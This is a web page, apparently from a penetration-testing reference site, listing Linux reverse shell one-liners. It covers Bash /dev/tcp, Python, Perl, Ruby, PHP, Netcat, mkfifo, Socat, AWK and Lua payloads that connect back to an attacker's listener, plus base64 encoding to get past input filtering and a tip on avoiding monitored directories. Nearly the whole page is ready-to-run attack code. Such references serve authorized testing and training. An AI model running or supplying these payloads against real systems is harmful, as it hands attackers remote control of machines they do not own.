# Linux Reverse Shell Payloads and One-Liners

> Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing remote command execution during exploitation.

- **URL:** https://hackindex.io/platforms/linux/exploitation/reverse-shell-payloads
- **Path:** Linux > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/linux/exploitation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-08-11

When you have command execution on a target: through a web vulnerability, a service exploit, a cron job injection, or any other vector: these payloads turn that execution into a shell. All examples use `$LHOST` and `$LPORT` as your attacker IP and listener port.

Start your listener before sending any payload:

```bash
nc -lvnp $LPORT
```

After catching the shell, stabilize it before doing anything else. See [Shell Stabilization and TTY Upgrade](https://hackindex.io/platforms/linux/exploitation/shell-stabilization-tty-upgrade).

## Reverse shells

#### Bash

The most reliable option when bash is the executing shell. Try `/dev/tcp` first: it is built into bash and leaves no extra process.

```bash
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
```

If that fails due to restricted bash or shell interpretation issues, use the read/write file descriptor form:

```bash
exec 5<>/dev/tcp/$LHOST/$LPORT; cat <&5 | while read line; do $line 2>&5 >&5; done
```

When the payload runs inside a context that strips special characters (HTML forms, JSON fields, XML), wrap it:

```bash
bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
```

#### Python

Works on nearly every modern Linux system. Python 3 first, fall back to Python 2 if needed.

```bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# or
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
```

#### Perl

Perl is present on most Linux distributions even when Python is not.

```bash
perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```

#### Ruby

```bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("$LHOST","$LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

#### PHP

Use when you have execution through a web application context or a PHP file.

```bash
php -r '$sock=fsockopen("$LHOST",$LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'
```

If exec is disabled, try shell_exec or system:

```bash
php -r '$sock=fsockopen("$LHOST",$LPORT);shell_exec("/bin/bash -i <&3 >&3 2>&3");'
```

#### Netcat

Works when a netcat binary with `-e` support is present. Many modern installs ship OpenBSD netcat which drops `-e`.

```bash
nc -e /bin/bash $LHOST $LPORT
```

For OpenBSD netcat or any netcat without `-e`, use the mkfifo pipe method instead.

#### mkfifo

Works with any netcat variant. Reliable fallback when bash `/dev/tcp` and `-e` are both unavailable.

```bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST $LPORT >/tmp/f
```

The pipe name `/tmp/f` is arbitrary. Change it if `/tmp` is noisy or monitored.

#### Socat

Produces a cleaner shell than netcat. Requires socat on the target. If it is not installed, transfer a static binary.

```bash
socat tcp-connect:$LHOST:$LPORT exec:'bash -li',pty,stderr,setsid,sigint,sane
```

This gives a near-fully interactive shell without the `stty raw` steps needed for other methods.

#### AWK

Useful when the execution context only allows AWK: common in restricted command injection scenarios.

```bash
awk 'BEGIN {s = "/inet/tcp/0/$LHOST/$LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

#### Lua

```bash
lua -e "require('socket');require('os');t=socket.tcp();t:connect('$LHOST','$LPORT');os.execute('/bin/bash -i <&3 >&3 2>&3');"
```

## Choosing the Right Payload

Most command injection and RCE scenarios on Linux resolve with the bash `/dev/tcp` one-liner or the Python socket payload. Use the mkfifo method when neither works. Use socat when you want the cleanest shell and can transfer the binary.

Quick selection guide:

- Bash `/dev/tcp`: best default, no dependencies, works in most shells
- Python socket: reliable fallback, available on nearly every modern distro
- mkfifo + netcat: works with any netcat variant when bash and Python are unavailable
- Socat: cleanest interactive shell, requires binary on target
- Perl/Ruby/PHP/Lua: niche cases where only that interpreter is present

If the execution context URL-encodes or strips characters, encode the payload in base64 and decode it on execution:

```bash
echo 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64
```

Then execute it on the target:

```bash
echo <BASE64STRING> | base64 -d | bash
```

This avoids issues with `&`, `>`, and `/` being interpreted or stripped by intermediary systems.
